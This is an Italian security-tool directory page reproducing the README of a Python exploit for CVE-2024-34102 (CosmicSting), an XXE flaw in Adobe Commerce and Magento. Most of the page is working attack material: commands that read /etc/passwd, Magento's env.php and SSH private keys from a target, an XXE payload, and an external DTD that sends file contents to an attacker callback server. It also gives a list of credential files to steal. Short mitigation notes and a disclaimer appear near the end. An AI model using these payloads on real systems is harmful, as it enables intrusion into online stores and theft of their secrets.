Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-34102 — Exploit di CVE-2024-34102 per python3 | Kitploit
Strumenti/GitHubGitHub/nmmorette/cve-2024-34102
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubnmmorette/cve-2024-34102

CVE-2024-34102

Exploit di CVE-2024-34102 per python3

Vedi Repository
16 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-34102 - Exploit XXE CosmicSting

Python Version CVE

Exploit per CVE-2024-34102 (CosmicSting) - vulnerabilità XML External Entity (XXE) in Adobe Commerce e Magento.

📋 Informazioni sulla vulnerabilità

CVE-2024-34102 è una vulnerabilità XXE critica che colpisce:

  • Adobe Commerce versioni 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 e precedenti
  • Magento Open Source (stesse versioni)

Questa vulnerabilità consente a un utente malintenzionato non autenticato di:

  • 📄 Leggere file arbitrari dal server
  • 🔐 Esfiltrare credenziali e configurazioni sensibili
  • 💾 Accedere alle informazioni del database
  • 🚨 Eseguire codice arbitrario (in alcuni scenari)

Punteggio CVSS: 9.8 (Critico)

🎯 Crediti

Questo exploit si basa sul lavoro originale di:

  • @Chocapikk - Exploit originale CVE-2024-34102

Miglioramenti in questa versione:

  • ✅ Server DTD dinamico personalizzato (evita la dipendenza da fars.ee)
  • ✅ Server di callback con decodifica automatica
  • ✅ Validazione dei parametri obbligatori
  • ✅ Logica di retry per i servizi esterni
  • ✅ Messaggi di errore più descrittivi
  • ✅ Supporto HTTPS per i callback
  • ✅ Piena compatibilità con Python 3.8+

🛠️ Requisiti

  • Python 3.8 o superiore
  • Accesso a un server per ospitare i file DTD (VPS, Burp Collaborator, ecc.)
  • Servizio di callback (Burp Collaborator, Oastify, o proprio server)

📦 Installazione

root@kitploit:~
# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2024-34102.git
cd CVE-2024-34102

# Install dependencies
pip install -r requirements.txt

🚀 Utilizzo

Metodo 1: Utilizzo di fars.ee (automatico)

root@kitploit:~
python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c your-callback.oastify.com

Metodo 2: Utilizzo del proprio server DTD

Terminale 1 - Server DTD:

root@kitploit:~
sudo python3 server_dtd.py

Terminale 2 - Exploit:

root@kitploit:~
python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c your-callback.oastify.com \
  --dtd-server YOUR-IP:8000

Metodo 3: Con il proprio server di callback

Terminale 1 - Server DTD:

root@kitploit:~
sudo python3 server_dtd.py

Terminale 2 - Server di callback (decodifica automatica):

root@kitploit:~
sudo python3 callback_server.py

Terminale 3 - Exploit:

root@kitploit:~
python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c YOUR-CALLBACK-IP \
  --dtd-server YOUR-DTD-IP:8000

📝 Parametri

Obbligatori:

  • -u, --url - URL del target (dominio di base)
  • -f, --file - File da leggere dal server (es. /etc/passwd)
  • -c, --callback - Server di callback (IP/dominio)

Opzionali:

  • --dtd-server - Server personalizzato per ospitare il file DTD
  • --https - Usa HTTPS per il callback (predefinito: HTTP)

🎬 Esempi

Lettura di /etc/passwd

root@kitploit:~
python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /etc/passwd \
  -c abc123.oastify.com \
  --dtd-server 192.168.1.100:8000

Lettura della configurazione di Magento

root@kitploit:~
python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /var/www/html/app/etc/env.php \
  -c abc123.oastify.com \
  --dtd-server 192.168.1.100:8000

Lettura delle chiavi SSH

root@kitploit:~
python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /home/ubuntu/.ssh/id_rsa \
  -c abc123.burpcollaborator.net \
  --dtd-server 192.168.1.100:8000 \
  --https

🔍 Come Funziona

1. XXE Out-of-Band

L'exploit utilizza la tecnica XXE Out-of-Band per esfiltrare i dati:

root@kitploit:~
<!-- Payload sent to target -->
<!DOCTYPE r [
  <!ENTITY % sp SYSTEM "http://your-server/exploit.dtd">
  %sp;
  %param1;
]>
<r>&exfil;</r>

2. DTD esterno

Il server target scarica il DTD malintenzionato:

root@kitploit:~
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://callback/?exploited=%data;'>">

3. Esfiltrazione

Il server elabora l'XML, legge il file, lo codifica in base64 e lo invia al callback:

root@kitploit:~
GET /?exploited=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...

4. Decodifica

root@kitploit:~
echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo..." | base64 -d

📊 Esempio di Output

root@kitploit:~
[*] CosmicSting XXE Exploit (CVE-2024-34102)
[*] Target: https://vulnerable-site.com
[+] Callback Server: abc123.oastify.com
[+] Using custom DTD server: 192.168.1.100:8000
[+] DTD URL: http://192.168.1.100:8000/12ec6594.dtd?callback=abc123.oastify.com&file=/etc/passwd&protocol=http

DTD will be dynamically generated with:
[*]   Callback: http://abc123.oastify.com
[*]   File: /etc/passwd

DTD server is running? Ready to continue? [y/N]: y
[+] Target file: /etc/passwd
[+] Callback URL: http://abc123.oastify.com/?exploited=...
[*] Sending XXE payload to: https://vulnerable-site.com/rest/V1/guest-carts/1/estimate-shipping-methods
[*] Response status: 500
[!] Status 500 - This is normal! XXE may have triggered.
[!] Check your callback server for incoming requests.
[*] Waiting for callback (5 seconds)...

=== CHECK YOUR CALLBACK SERVER ===
[!] Monitor your callback service for incoming HTTP requests
[!] Expected request: http://abc123.oastify.com/?exploited=<base64_data>

To decode the exfiltrated data:
[*]   echo 'BASE64_STRING' | base64 -d

[!] Check your Burp Collaborator or Oastify dashboard now!

🛡️ Rilevamento e Mitigazione

Per i Difensori:

Rilevamento:

  • Monitorare le richieste HTTP verso gli endpoint /rest/V1/guest-carts/*/estimate-shipping-methods
  • Avvisare su payload XML con entità esterne (<!ENTITY>)
  • Rilevare connessioni in uscita verso domini sospetti

Mitigazione:

  • Aggiornare alle versioni corrette:
    • Adobe Commerce 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9
  • Disabilitare l'elaborazione delle entità esterne nel parser XML
  • Implementare un WAF con regole anti-XXE

Per i Pentester:

File interessanti da testare:

root@kitploit:~
/etc/passwd
/var/www/html/app/etc/env.php
/var/www/html/app/etc/local.xml
/home/USER/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ

⚖️ Disclaimer Legale

root@kitploit:~
This exploit is provided for educational and security research purposes only.

Using this code to test systems without explicit authorization is ILLEGAL.

You are SOLELY responsible for your actions. Use only on:
✅ Your own test environments
✅ Authorized bug bounty programs
✅ Contracted penetration tests

DO NOT use on:
❌ Systems without authorization
❌ Production environments without permission
❌ Any malicious activity

The author is not responsible for misuse of this code.

📚 Riferimenti

  • Bollettino di sicurezza Adobe APSB24-40
  • Dettagli CVE-2024-34102
  • Prevenzione XXE OWASP
  • Exploit originale di Chocapikk

⭐ Se questo progetto ti è stato utile, valuta di lasciare una stella!

Scarica lo strumento